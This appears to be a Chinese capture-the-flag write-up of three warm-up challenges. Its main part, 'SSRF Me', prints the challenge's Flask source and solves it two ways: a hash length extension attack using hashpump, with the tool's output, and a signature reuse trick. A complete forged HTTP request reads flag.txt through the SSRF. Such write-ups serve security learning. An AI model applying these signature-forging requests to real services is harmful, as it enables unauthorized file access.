前言
适逢国赛作品赛,行程匆忙,就做了几道签到23333
We1come
加入tg频道即可得到flag
SSRF Me
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
|
from flask import Flask from flask import request import socket import hashlib import urllib import sys import os import json reload(sys) sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): os.mkdir(self.sandbox)
def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
def checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False
@app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if(waf(param)): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) @app.route('/') def index(): return open("code.txt","r").read()
def scan(param): socket.setdefaulttimeout(1) try: return urllib.urlopen(param).read()[:50] except: return "Connection Timeout"
def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content): return hashlib.md5(content).hexdigest()
def waf(param): check=param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
if __name__ == '__main__': app.debug = False app.run(host='0.0.0.0',port=80)
|
0x01
python源码分析:
1、访问网站根目录会打开文件code.txt
2、访问/geneSign会返回一个md5(secert_key + param + action)的值(其中param为空,
action为scan)
3、访问/De1ta会创建一个对象并将所有获取到的参数传递进去
0x02
需要同时满足以下条件:
1、getSign(self.action, self.param) == self.sign
2、”read”和”scan”全在action中
0x03
需要同时满足以下条件:
1、getSign(self.action, self.param) == self.sign
2、”read”和”scan”全在action中
0x04
思路:
从/geneSign可以得到md5(secert_key + param + action)的值(其中param为flag.txt,
action为scan)
要想同时满足上述两个条件就要知道md5(secert_key + param + action)的值(其中param为
flag.txt,action为scanread)
所以可以总结为:
已知md5(secert_key+param+scan)
求md5(secert_key+param+scanread)
解法一:hash长度扩展攻击
详细介绍:文章
使用hashpump
1 2 3 4 5 6 7 8 9
| root@kali:~/HashPump# hashpump Input Signature: 8370bdba94bd5aaf7427b84b3f52d7cb Input Data: scan Input Key Length: 24 Input Data to Add: read d7163f39ab78a698b3514fd465e4018a scan\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x 00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00\x00\x00 read
|
替换到数据包中即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| GET /De1ta?param=flag.txt HTTP/1.1 Host: 139.180.128.86 User‐Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept‐Language: zh‐CN,zh;q=0.8,zh‐TW;q=0.7,zh‐HK;q=0.5,en‐ US;q=0.3,en;q=0.2 DNT: 1 Connection: close Upgrade‐Insecure‐Requests: 1 Cookie: action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 %00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read; sign=d7163f39ab78a698b3514fd465e4018a
|
解法二:
根据题目提示,构造参数:/geneSign?param=flag.txtread
得到sign的值:7cde191de87fe3ddac26e19acae1525e
接着构造参数:/De1ta?param=flag.txt
并在Cookie中添加action和sign,即可。
Mine Sweeping
扫雷游戏,多次尝试发现雷的位置是固定不变的,一行行试下去,使用隐写工具,最后得到一张类似二维码的图片,扫码即可得到flag.